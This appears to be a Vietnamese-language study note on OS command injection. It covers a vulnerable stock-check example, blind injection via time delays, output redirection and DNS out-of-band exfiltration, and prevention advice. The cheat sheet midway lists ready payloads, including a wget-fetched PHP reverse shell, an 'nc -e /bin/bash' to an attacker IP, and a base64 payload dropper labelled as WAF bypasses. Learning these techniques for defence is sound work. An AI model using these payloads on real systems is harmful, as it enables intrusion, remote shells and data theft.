Command Injection

OS command injection là gì?

Còn gọi là shell injection. Nó cho phép kẻ tấn công thực thi OS command trên server chạy ứng dụng và thường xâm phạm hoàn toàn ứng dụng và dữ liệu của ứng dụng, mở hơn là xâm phạm các phần khác của cơ sở hạ tầng lưu trữ và khai thác các mối quan hệ tin cậy để chuyển hướng cuộc tấn công sang các hệ thống khác trong tổ chức.

Inject OS command

Trong ví dụ này, ứng dụng mua sắm cho phép người dùng xem liệu một mặt hàng có còn hàng trong một cửa hàng cụ thể hay không. Thông tin này được truy cập thông qua URL:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Để cung cấp thông tin về kho, ứng dụng gọi lệnh shell với ID sản phẩm và ID cửa hàng làm đối số:

stockreport.pl 381 29

Lệnh này đưa ra trạng thái kho của mặt hàng được chỉ định và trả về cho người dùng.

Ứng dụng không triển khai bất kỳ biện pháp phòng thủ nào chống lại việc chèn lệnh hệ điều hành, do đó kẻ tấn công có thể gửi dữ liệu đầu vào sau để thực thi lệnh tùy ý:

& echo aiwefwlguh &

Nếu đầu vào này được gửi trong tham sốproductID, lệnh được ứng dụng thực thi là:

stockreport.pl & echo aiwefwlguh & 29

Lệnh này echokhiến chuỗi được cung cấp được lặp lại trong đầu ra. Đây là một cách hữu ích để kiểm tra một số loại lệnh OS injection. Ký &tự này là một dấu phân cách lệnh shell. Trong ví dụ này, nó khiến ba lệnh riêng biệt được thực thi, lần lượt từng lệnh một. Đầu ra trả về cho người dùng là:

Error - productID was not provided

aiwefwlguh

29: command not found

Ba dòng kết quả đầu ra chứng minh rằng:

  • Lệnh gốc stockreport.plđược thực thi mà không có các đối số mong đợi, do đó trả về thông báo lỗi.

  • Lệnh được đưa vào echođã được thực thi và chuỗi được cung cấp sẽ được hiển thị ở đầu ra.

  • Đối số ban đầu 29được thực thi

Đặt dấu phân cách lệnh bổ sung &sau lệnh inject rất hữu ích vì nó tách lệnh inject khỏi bất kỳ lệnh nào theo sau điểm inject. Điều này làm giảm khả năng lệnh inject sẽ không được thực thi.

OS command injection, simple case

Command Injection Cheatsheet

--------------------------------------------------------------------
Special Characters
&
;
Newline (0x0a or \n)
&&
|
||
command `
$(command )
--------------------------------------------------------------------
Useful Commands: Linux
whoami
ifconfig
ls
uname -a
--------------------------------------------------------------------
Useful Commands: Windows
whoami
ipconfig
dir
ver
--------------------------------------------------------------------
Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id 
ls|id; ls |id; ls| id; ls | id 
ls&&id; ls &&id; ls&& id; ls && id 
ls&id; ls &id; ls& id; ls & id 
ls %0A id
--------------------------------------------------------------------
Time Delay Commands
& ping -c 10 127.0.0.1 &
--------------------------------------------------------------------
Redirecting output
& whoami > /var/www/images/output.txt &
--------------------------------------------------------------------
OOB (Out Of Band) Exploitation
& nslookup attacker-server.com &
& nslookup `whoami`.attacker-server.com &
-------------------------------------------------------------------
WAF bypasses
vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O 
/tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload

Lỗ hổng Blind OS command injection

Ứng dụng không trả về đầu ra từ lệnh trong phản hồi HTTP của nó.

Phát hiện Blind OS command injection bằng cách sử dụng độ trễ thời gian

Có thể sử dụng lệnh inject để kích hoạt thời gian trễ, cho phép xác nhận lệnh đã được thực thi dựa trên thời gian ứng dụng phản hồi. Ví dụ:

& ping -c 10 127.0.0.1 &

Lệnh này khiến ứng dụng ping loopback network adapter trong 10 giây.

Lab: Blind OS command injection with time delays

Khai thác Blind OS command injection bằng cách chuyển hướng đầu ra

Có thể huyển hướng đầu ra từ lệnh được tiêm vào một tệp trong web root mà sau đó có thể truy xuất bằng trình duyệt. Ví dụ: nếu ứng dụng phục vụ tài nguyên tĩnh từ vị trí hệ thống tệp /var/www/static, thì bạn có thể gửi đầu vào sau:

& whoami > /var/www/static/whoami.txt &

>tự gửi đầu ra từ whoamilệnh đến tệp được chỉ định. Sau đó, bạn có thể sử dụng trình duyệt để lấy https://vulnerable-website.com/whoami.txttệp và xem đầu ra từ lệnh đã chèn.

Lab: Blind OS command injection with output redirection

Khai thác Blind OS command injection bằng kỹ thuật out-of-band (OAST)

Bạn có thể sử dụng lệnh được tiêm mã kích hoạt tương tác mạng ngoài băng tần với hệ thống mà bạn kiểm soát, bằng cách sử dụng các kỹ thuật OAST . Ví dụ:

& nslookup kgji2ohoyw.web-attacker.com &

Tải trọng này sử dụng nslookuplệnh để gây ra tra cứu DNS cho tên miền được chỉ định. Kẻ tấn công có thể theo dõi để xem tra cứu có xảy ra hay không, để xác nhận xem lệnh đã được tiêm thành công hay chưa.

Lab: Blind OS command injection with out-of-band interaction

Kênh ngoài băng tần cung cấp một cách dễ dàng để lọc đầu ra từ các lệnh được đưa vào:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Điều này khiến DNS tìm kiếm tên miền của kẻ tấn công có chứa kết quả của whoamilệnh:

wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

Ngăn chặn

Cách hiệu quả nhất để ngăn chặn các lỗ hổng OS command injection là tránh gọi trực tiếp các lệnh hệ điều hành từ mã lớp ứng dụng. Trong hầu hết các trường hợp, bạn có thể triển khai chức năng yêu cầu bằng cách sử dụng các API an toàn hơn của nền tảng.

Nếu bắt buộc phải gọi các lệnh hệ điều hành với đầu vào do người dùng cung cấp, bạn nên thực hiện việc kiểm tra và xác thực đầu vào mạnh mẽ. Một số ví dụ về xác thực hiệu quả bao gồm:

  • Xác thực dựa trên danh sách các giá trị được phép (whitelist).

  • Xác thực đầu vào là số (numeric validation).

  • Xác thực đầu vào chỉ chứa các ký tự chữ và số, không có ký tự đặc biệt hoặc khoảng trắng.

Không nên cố gắng làm sạch đầu vào bằng cách thoát các ký tự đặc biệt của shell. Trong thực tế, điều này rất dễ mắc lỗi và dễ bị vượt qua bởi các hacker có kỹ năng.

Last updated